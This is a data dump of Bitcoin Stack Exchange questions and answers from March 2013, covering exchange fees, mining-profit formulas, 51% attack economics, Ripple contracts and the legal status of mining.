  <row Id="8581" PostTypeId="2" ParentId="8580" CreationDate="2013-03-22T00:42:46.630" Score="1" Body="&lt;p&gt;Most other crypto coins is more or less what you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoind code has build-in &quot;checkpoints&quot; (block height x has hash y), but a new blockchain would anyway use a &quot;new&quot; ( / forked ) client, so you could just remove these checkpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the 21 million bitcoin limit will &lt;strong&gt;never&lt;/strong&gt; be a problem. Today each bitcoin can be divided down to 8 decimal places (0.00000001 BTC), should we for some weird reason need more bitcoins, then this limit can be changed.&lt;/p&gt;&#xA;" OwnerUserId="2785" LastActivityDate="2013-03-22T00:42:46.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8582" PostTypeId="2" ParentId="8571" CreationDate="2013-03-22T00:58:17.730" Score="3" Body="&lt;p&gt;No, Bitcoin would not be compromised, only individual users who downloaded the malware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin itself to be compromised more than half of all its users needs to be affected, and that is virtually impossible (given it has no auto-update functionality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any tampering with the binaries/source will be discovered long before that it can become a problem.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2013-03-22T01:08:29.827" LastActivityDate="2013-03-22T01:08:29.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8583" PostTypeId="1" CreationDate="2013-03-22T01:00:09.813" Score="0" ViewCount="5533" Body="&lt;p&gt;I'm a newbie. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say I see the btc usd exchange graphs and see that it has tripled in the last month and I decide to put $5k in hoping it will grow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the least amount of USD I could spend to buy $5k and sell $5k on a moment's notice whenever I feel like it?&lt;/p&gt;&#xA;" OwnerUserId="3489" LastActivityDate="2013-07-21T06:35:40.167" Title="How much does it cost to buy and sell bitcoins?" Tags="|trading|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8584" PostTypeId="1" CreationDate="2013-03-22T01:18:19.313" Score="-3" ViewCount="359" Body="&lt;p&gt;If I'm new to bitcoin and I want to buy coins at an exchange like mtgox solely for the purpose of seeing currency value increase and selling at a profit, is there any good for reason for me to not simply buy bitcoins by entering my visa number on mtgox in the same way I buy anything else online? As opposed to say meeting someone in person and giving them cash in exchange for bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2013-03-22T12:10:48.690" Title="Any reason not to buy bitcoins using a bank card?" Tags="|exchanges|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8587" PostTypeId="1" CreationDate="2013-03-22T01:55:59.797" Score="2" ViewCount="478" Body="&lt;p&gt;For big exchanges like mtgox, what is the longest delay time seen between ordering a sell and closing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words if I do an emergency sell of a large amount of coins because the exchange rate is dropping by the second, how much value might I lose while waiting for the sell order to complete?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any exchanges that basically guarantee that the price in USD of my sell order when I place it will be the amount in USD I receive no matter how long their system takes to complete it?&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2013-04-25T21:07:55.857" Title="What's the worst-case delay for BTC-&gt;USD?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8588" PostTypeId="1" CreationDate="2013-03-22T02:01:26.620" Score="0" ViewCount="121" Body="&lt;p&gt;Where are the most realtime (up to date) stats for exchanges like mtgox? For basic stats like exchange rate and volume, what is the best, average, and worst-case reporting delay and what's the URL?&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2013-06-20T04:36:15.797" Title="Most up-to-date stats" Tags="|exchanges|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8589" PostTypeId="1" CreationDate="2013-03-22T02:06:32.783" Score="1" ViewCount="241" Body="&lt;p&gt;Are there any discussion communities specifically focused on rapid and automated bitcoin trading and speculation? I'm talking about analysis of algorithms for making trades every few seconds in response to market fluctuations. &lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2013-03-22T02:06:32.783" Title="Discussion community for rapid automated trading" Tags="|trading|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8590" PostTypeId="1" CreationDate="2013-03-22T02:36:24.260" Score="1" ViewCount="1213" Body="&lt;p&gt;A few services claim they support sending money to BTC-e, but I haven't actually found the option to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone know of an instant way to send money to BTC-e or transfer money to BTC-e from another exchange like Mt. Gox?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user3494" LastActivityDate="2015-03-11T11:06:25.713" Title="How do I fund BTC-e and transfer money there instantly from other exchanges?" Tags="|mtgox|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8591" PostTypeId="2" ParentId="8588" CreationDate="2013-03-22T03:10:11.907" Score="1" Body="&lt;p&gt;I find &lt;a href=&quot;http://bitcoincharts.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com&lt;/a&gt; to be of high quality.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-22T03:10:11.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8592" PostTypeId="1" CreationDate="2013-03-22T03:49:00.007" Score="2" ViewCount="258" Body="&lt;p&gt;What happens to a person's bitcoins if they should happen to die prematurely?  Will those coins be lost forever if no one knows that person's wallet info?&lt;/p&gt;&#xA;" OwnerUserId="3496" LastEditorUserId="5406" LastEditDate="2015-07-21T12:54:01.880" LastActivityDate="2015-07-21T12:54:01.880" Title="What happens to a person's bitcoins if they should happen to die prematurely?" Tags="|inheritance-plan|" AnswerCount="1" CommentCount="0" ClosedDate="2013-03-22T16:33:29.897" ContentLicense="CC BY-SA 3.0" />
  <row Id="8593" PostTypeId="2" ParentId="8526" CreationDate="2013-03-22T06:17:01.183" Score="0" Body="&lt;p&gt;A full instance of bitcoind or the client isn't needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably are looking for a &quot;checkout button&quot; to a server that will either host your wallet for you or will cash out on demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many, but &lt;a href=&quot;https://mtgox.com/merchant/checkout&quot; rel=&quot;nofollow&quot;&gt;MtGox has one&lt;/a&gt; and I'm pretty sure &lt;a href=&quot;https://bitpay.com&quot; rel=&quot;nofollow&quot;&gt;Bitpay&lt;/a&gt; has one as well.  This isn't a comprehensive list, but the concept is that you add a &quot;button&quot; to your website that facilities payment.  This button works with ASP.NET, PHP and anything else that generates HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that although it may be possible for static HTML pages to be supported, I haven't investigated if its possible. (You haven't indicated if you're using plain old HTML or a dynamic language)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-03-22T06:17:01.183" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8594" PostTypeId="1" AcceptedAnswerId="8602" CreationDate="2013-03-22T07:20:27.363" Score="4" ViewCount="459" Body="&lt;p&gt;The wiki seems to imply Turing-completeness because no restrictions on jumps are specified here &lt;a href=&quot;https://ripple.com/wiki/Contracts#Foundational_Ops&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/wiki/Contracts#Foundational_Ops&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is it and what (if any) is the actual intention ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers ...&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2013-03-22T13:42:59.897" Title="Is Ripple's Contract language intended to be Turing complete or sub-Turing complete ?" Tags="|ripple|contracts|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8595" PostTypeId="2" ParentId="8584" CreationDate="2013-03-22T08:47:11.443" Score="-1" Body="&lt;p&gt;Well, an obvious reason would be if you were concerned about anonymity and not leaving an audit trail, in order to conceal your funds from tax authorities, for example.&lt;/p&gt;&#xA;" OwnerUserId="3498" LastActivityDate="2013-03-22T08:47:11.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8596" PostTypeId="2" ParentId="8572" CreationDate="2013-03-22T09:03:22.633" Score="3" Body="&lt;p&gt;Being decentralised, it appears Bitcoin is less susceptible to regulation. But the weak point may be where you attempt to bring your Bitcoins back into the real economy - and this appears to be where the USG is striking first:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.zerohedge.com/news/2013-03-21/us-begins-regulating-bitcoin-will-consider-virtual-transactions-money-laundering&quot; rel=&quot;nofollow&quot;&gt;&quot;US Begins Regulating BitCoin, Will Apply 'Money Laundering' Rules To Virtual Transactions&quot; (&lt;em&gt;Zero Hedge&lt;/em&gt;, 21 Mar. 2013)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3498" LastEditorUserId="3274" LastEditDate="2013-03-22T18:57:17.900" LastActivityDate="2013-03-22T18:57:17.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8599" PostTypeId="2" ParentId="8584" CreationDate="2013-03-22T12:10:48.690" Score="0" Body="&lt;p&gt;That is done to prevent fraud (in other words, people could &quot;pay&quot; with CC, get their bitcoins, and then dispute the transaction).&lt;/p&gt;&#xA;" OwnerUserId="3507" LastActivityDate="2013-03-22T12:10:48.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8600" PostTypeId="2" ParentId="8568" CreationDate="2013-03-22T13:00:20.617" Score="11" Body="&lt;p&gt;The average amount of time (in seconds) to find a single share is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;difficulty * 2^32 / hashrate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that equation, difficulty is the difficulty of a share and hashrate is your hash rate in hashes per second.  A day has 86,400 seconds in it, so the number of shares you'll find in 24 hours is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;86,400 / (difficulty * 2^32 / hashrate)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A slightly more complex formula, using PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hashTime = ((float) $difficulty) * (pow(2.0, 32) / ($hashRate * 1000.0)) ;&#xA;$powerCostPerYear = 365.25 * 24.0 * $powerConsumption / 1000.0 * $electricityRate;&#xA;$blocksPerYear =  (365.25 * 24.0 * 3600.0) / $hashTime ;&#xA;$coinsPerYear = $blockCoins * $blocksPerYear;&#xA;$revenuePerYear = $coinsPerYear * $conversionRate;&#xA;$profitPerYear = $revenuePerYear - $powerCostPerYear;&#xA;$netProfit1st = $revenuePerYear - $costHardware - $powerCostPerYear;&#xA;if ($profitPerYear &amp;lt;= 0) $breakEvenTime = -1;&#xA;else $breakEvenTime = $costHardware / ($profitPerYear / (365.25 * 24.0 * 3600.0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2013-03-22T13:00:20.617" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8601" PostTypeId="2" ParentId="8592" CreationDate="2013-03-22T13:37:47.817" Score="1" Body="&lt;p&gt;Yes. Those bitcoins will never be used again unless someone creates a private key that hashes to the same public key.&lt;/p&gt;&#xA;" OwnerUserId="2630" LastActivityDate="2013-03-22T13:37:47.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8602" PostTypeId="2" ParentId="8594" CreationDate="2013-03-22T13:42:59.897" Score="5" Body="&lt;p&gt;It should be Turing complete. However, every time a contract is invoked, the maximum number of operations the contract can perform is limited. Operations that access a contract must specify an operation count limit to get a limit higher than the default. Higher limits require higher transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-22T13:42:59.897" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8603" PostTypeId="2" ParentId="2172" CreationDate="2013-03-22T13:45:19.290" Score="3" Body="&lt;p&gt;You can use EC2 GPU instances now, but the price outweighs the earnings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=8405.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=8405.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3511" LastActivityDate="2013-03-22T13:45:19.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8604" PostTypeId="1" CreationDate="2013-03-22T10:53:50.970" Score="2" ViewCount="373" Body="&lt;p&gt;I'm currently mining some bitcoins during normal computer use. I am using windows. The wallet is Bitcoin, as a miner I am using GUIMiner and pooled mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am happy with the way everything works, however, I wanted to move my wallet to another location, so that I had access to it everywhere. I rented a virtual linux machine running Ubuntu 12.04, then installed bitcoind. I created an account and a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For testing purposes, I transferred 1 BCCent to the new address. I was watching the sending wallet waiting for transfer confirmations, that never came. However, I remembered that the first time starting a wallet it takes quite a lot of time to synch to the network completely, so I went to sleep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the morning, the transaction was done and was affirmed by a lot of sources. I confidently checked my target wallet, and found that there were no bitcoins on the address and the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking the wallet for the transaction using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind gettransaction &amp;lt;the used txid&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives the message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error: {&quot;code&quot;:-5,&quot;message&quot;:&quot;Invalid or non-wallet transaction id&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure how this could happen. I've double-checked the target address, and it matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea how such a thing can happen?&lt;/p&gt;&#xA;" OwnerUserId="3505" OwnerDisplayName="0xCAFEBABE" LastEditorUserId="5406" LastEditDate="2016-01-10T12:25:11.200" LastActivityDate="2016-01-10T12:25:11.200" Title="Bitcoin: transaction completed, bitcoins never arrived" Tags="|bitcoind|synchronization|" AnswerCount="0" CommentCount="4" ClosedDate="2016-01-10T12:25:21.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="8605" PostTypeId="1" CreationDate="2013-03-22T15:15:23.163" Score="1" ViewCount="66" Body="&lt;p&gt;I'm looking for something like a browser extensions that makes it possible to easily send bitcoins to an address on a web page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think a &lt;code&gt;bitcoin:[address]&lt;/code&gt; URI protocol already lifted off, otherwise it would be ideal. But as long as it doesn't, a browser extension would be good enough...&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-03-22T15:15:23.163" Title="Is there a fast way to send bitcoins to an address on a web page?" Tags="|websites|payment|" AnswerCount="0" CommentCount="4" ClosedDate="2013-05-13T16:15:34.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="8606" PostTypeId="1" CreationDate="2013-03-22T16:28:20.077" Score="3" ViewCount="760" Body="&lt;p&gt;Inspired by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4254/could-bitcoin-be-destroyed-if-an-entity-cornered-the-market&quot;&gt;this&lt;/a&gt; question (&quot;Could bitcoin be destroyed by an entity cornering the market?&quot;) and the top comment on &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1094/1625&quot;&gt;this&lt;/a&gt; answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1093/1625&quot;&gt;this&lt;/a&gt; question (&quot;How much would it cost to execute a 51% attack?&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The United States government hates currencies competing with its own, so it may at some point have great motivation to destroy bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers to the first question show that the government couldn't destroy bitcoin by cornering the market. Answers to the second question show that it would be very expensive for an individual to sustain a 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the top comment on the referenced answer reads:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A related point is: why bother mounting such an attack? If you were&#xA;  indeed successful and started building your own block chain, then&#xA;  confidence in Bitcoin would plummet and investors would sell out their&#xA;  positions (assuming their positions could be sold out). The price&#xA;  would drop through the floor and the value of your exploit would be&#xA;  reduced to nothing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Given the upvotes on this comment, many appear to agree that a sustained 51% would plummet bitcoin values. This would lead to extreme distrust, and possible collapse, of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But $16.35M + $84k / day is likely spare change for some branches of the U.S. government. If the U.S. sustained a 51% attack almost indefinitely, would this destroy bitcoin? For them, the value of their exploit would hardly &quot;be reduced to nothing&quot;, instead it could possibly save their inflationary currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One might even say the 51% attack investment would pay itself off with the amount of inflationary income they could generate given the downfall of bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This same scenario may apply to any wealthy organization. One could bet on bitcoin falling and then apply this attack for profit. The IMF or a different government could have reason to attack Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="1625" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2017-10-26T22:33:18.317" Title="Would bitcoin be destroyed if a wealthy organization obtained a CPU majority for a sustained period?" Tags="|security|economic-theory|currencies|weaknesses|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8607" PostTypeId="2" ParentId="8577" CreationDate="2013-03-22T16:30:52.287" Score="2" Body="&lt;p&gt;Let's analyze ButterflyLabs alone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89685.0&quot; rel=&quot;nofollow&quot;&gt;Butterfly Labs Wait list&lt;/a&gt;, here are the current numbers, along with the number of chips:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Orders Tracked: 325&#xA;&#xA;Unit             Number tracked     Chips/unit     Chips tracked&#xA;Jalapeno SC      216                  1              216&#xA;Mini Single SC    41                  7              287&#xA;Single SC        348                 14             4872&#xA;Mini Rig SC       25                334             8350&#xA;------------------------------------------------------------------&#xA;Total                                              13725&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus, our average chips per order is 13725/325 = &lt;strong&gt;42.2 chips/order&lt;/strong&gt; from what we know.  Next, let's look at the number of orders and assume that average stays consistent.  Let's say there were 18,500 ASIC orders under the first ordering system (Order numbers 1500-20000), and are currently 12,000 in the second order system (Order numbers 100014000-100026000).  That brings the total orders to be filled to 30,500.  Multiply that by our average number of chips per order and we have 1,287,100 4.5GHz chips on order.  Thus, if these numbers hold true (and I really hope they are VERY high), we are looking at &lt;strong&gt;5.8 Million GH/s&lt;/strong&gt; added to the network from Butterfly Labs alone once they fill the orders to this point.  This is about 100 times the current global hash rate of &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;50000GH/s&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that this is based off a lot of assumptions, and they haven't shipped their first unit yet, so who really knows.  When I contacted them in February, they said orders placed then would be fulfilled in May-June, but they also said they were shipping the first units by the end of February and they haven't shipped those yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE (4/22/2013):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last order I see posted is 100036087, on April 8, up from 100026000 on March 22 (2 months ago to the day!), so we have an increase in order numbers of about 5,000 per month at the moment.  Also, they just shipped their first developer units, and they had to up the case sizes to accomodate the extra power modules.  Thus my best guess is that BFL will begin shipping to customers late May/early June.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of order numbers, I had assumed above that they increased every time an order was actually made.  However, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=89685.msg1785528#msg1785528&quot; rel=&quot;nofollow&quot;&gt;According to Sgt Spike&lt;/a&gt; on the wait list forum about BFL order numbers, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;It generates an order number every time someone goes to checkout, whether they actually &#xA; pay for it or not.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which, if true, means that the above numbers are a definite worst-case scenario (unless of course there are a bunch of missing orders from the list for 100 mini-rigs or something crazy like that, which is very doubtful).  Thus, multiply the above numbers by the percentage you think that people actually followed through to a purchase after proceeding to checkout to get a better estimate.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it looks like the earlier orders were much more heavily weighted than the later orders, where the info is also much more sparse, so the estimate still may be high even after you figure the correct buy percentage in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last, note that going forward the mini-rig is out of stock and they have upped the price and they have lowered the hash rates available from 60GH/s and 30GH/s to 50GH/s and 25GH/s respectively, so going forward the GH/order will probably be much less on average.  Even before they did that.  Thus, that should lower the expected addition to the global hash rate as well going forward. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above considered, I'd say a reasonable upper limit is about &lt;strong&gt;2 Million GH/s&lt;/strong&gt; added, which assumes about half the people that go to checkout actually place an order and the average order is slightly smaller than the average of the orders submitted.&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="3027" LastEditDate="2013-04-22T15:26:42.983" LastActivityDate="2013-04-22T15:26:42.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8608" PostTypeId="2" ParentId="8583" CreationDate="2013-03-22T18:42:14.327" Score="2" Body="&lt;p&gt;Mt. Gox takes a 0.6% fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitstamp a 0.5% fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have to consider the time it would take you to get your account approved, and your cash to reach the exchange from your bank, plus any bank fees (both sides).&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-22T18:42:14.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8611" PostTypeId="1" CreationDate="2013-03-22T19:44:12.000" Score="5" ViewCount="546" Body="&lt;p&gt;The recent FinCEN announcement said explicitly that virtual currency isn't a &quot;currency&quot; by the standard sense of the word, and shouldn't be regarded as such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should Bitcoin ever be considered a &quot;currency&quot; I think it would be helpful to know if the coins were created by the &lt;strong&gt;miner&lt;/strong&gt; or created by the &lt;strong&gt;protocol&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Miners&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Miners claim and distribute brand new coins that have never been used before.&lt;/li&gt;&#xA;&lt;li&gt;The ability to claim a coin is distributed worldwide and is equally random &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Protocol&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The protocol existed before any miner was configured.&lt;/li&gt;&#xA;&lt;li&gt;The protocol demands that no more than 21 million coins ever exist&lt;/li&gt;&#xA;&lt;li&gt;The protocol controls the inflation/deflation of the coins through &quot;difficulty&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To me it seems that the &quot;creator&quot; of a Bitcoin is the protocol, and not a miner, and that the term &quot;miner&quot; may not be appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most legal purposes, is it ever likely that a &quot;miner&quot; will be considered illegal in any country as if they are &quot;creating&quot; a currency&quot;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2016-02-21T09:14:58.517" LastActivityDate="2016-02-21T09:14:58.517" Title="From a legel perspective, are Bitcoins &quot;created&quot; by a miner or the Bitcoin Protocol?" Tags="|protocol|legal|mining-reward|money-supply|reward-schedule|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8612" PostTypeId="2" ParentId="8606" CreationDate="2013-03-22T19:48:09.523" Score="3" Body="&lt;p&gt;&lt;em&gt;Edit: I no longer think this answer is true.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain wouldn't cease to exist if an evil organization got a majority of hashpower. Thus, your questions would be better stated as, &quot;If an evil organization that wanted to destroy bitcoin got a majority of hashpower, would bitcoin become less useful?&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, and we'd have to switch to an &lt;a href=&quot;https://en.bitcoin.it/w/index.php?search=proof&amp;amp;button=&amp;amp;title=Special%3ASearch&quot; rel=&quot;nofollow noreferrer&quot;&gt;alternate scheme for checking blocks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2017-10-26T22:33:18.317" LastActivityDate="2017-10-26T22:33:18.317" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8613" PostTypeId="2" ParentId="8611" CreationDate="2013-03-22T20:40:53.603" Score="1" Body="&lt;p&gt;Let me pose a related question. The Federal Reserve tells the US Mint how much money to print. Does the federal reserve create money, or does the US Mint create money? In a literal sense, the mints operate the machines that stamp the word &quot;dollar&quot; on a piece of paper. However, they don't choose how much to print. If one of the 3 mints were shut down, the Federal Reserve would just tell the other two to print slightly more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answering your question literally, I'd say the protocol created 21 million bitcoins when it was published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But laws are evolving approximations. For example, for simplicity, the amount of sales tax and who it goes to is determined by state. Before the internet, the number of transactions that involved multiple states was so small it could simply be ignored. Eventually, lawmakers will be forced to clarify this, just as one day bitcoin won't be treated as a &quot;precious metal&quot; or &quot;foreign currency.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the flip side though, I don't think that minting a currency is illegal in the United States. All of the alternative currencies that received crackdowns had either &quot;United States&quot; or &quot;Dollar&quot; in their name, which could conceivably be confused with USD.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For most legal purposes, is it ever likely that a &quot;miner&quot; will be considered illegal in any country as if they are &quot;creating&quot; a currency&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A difficult question to answer, especially since I don't know what country you're from. If you're from the US, then I suspect lawmakers haven't decided either.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-22T20:40:53.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8614" PostTypeId="1" AcceptedAnswerId="10297" CreationDate="2013-03-22T20:52:02.297" Score="4" ViewCount="13459" Body="&lt;p&gt;Suppose the following trades happen&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Trade 1:   100 BTC  @ $75&#xA;Trade 2:   0.5 BTC  @ $76&#xA;Trade 3:   100 BTC  @ $77&#xA;Trade 4:   100 BTC  @ $78&#xA;Trade 5:   100 BTC  @ $78&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Five individual trades occurred for a total of 400.5 BTC.  There was a total of 200 BTC acting as a wall at $78.  Similar to how I monitor the trade wall at mtgoxlive.com, I'd like to determine if the &quot;wall moved&quot; or if the &quot;wall was eaten&quot;/traded.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to gather that information from the MtGox website and not sure if they display the count of individual trades, or the BTC sum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, in the top level drop down menu &lt;code&gt;Volume:75584 BTC&lt;/code&gt; however in the drop down graph I see volumes that range in &lt;code&gt;1,000&lt;/code&gt; to &lt;code&gt;3,000&lt;/code&gt; total.  In the most current example I see a volume &lt;code&gt;17,261&lt;/code&gt; of something (either trades, or BTC, I'm not sure)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRcoU.png&quot; alt=&quot;Mtgox Screen Capture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that volume is measured in two ways, but with the same word:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The quantity of BTC shares (and fractional units) traded&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The quantity of trades taken (a whole number)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since MtGox seems to overload the meaning of &quot;volume&quot; in the two instances, where can I find a more accurate representation / graph of each interpretation of &quot;volume&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-03-22T22:36:14.307" LastActivityDate="2013-04-27T00:43:26.260" Title="Is &quot;volume&quot; the quantity of BTC exchanged, or the number of trades completed?" Tags="|exchanges|mtgox|marketplace|market-depth|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
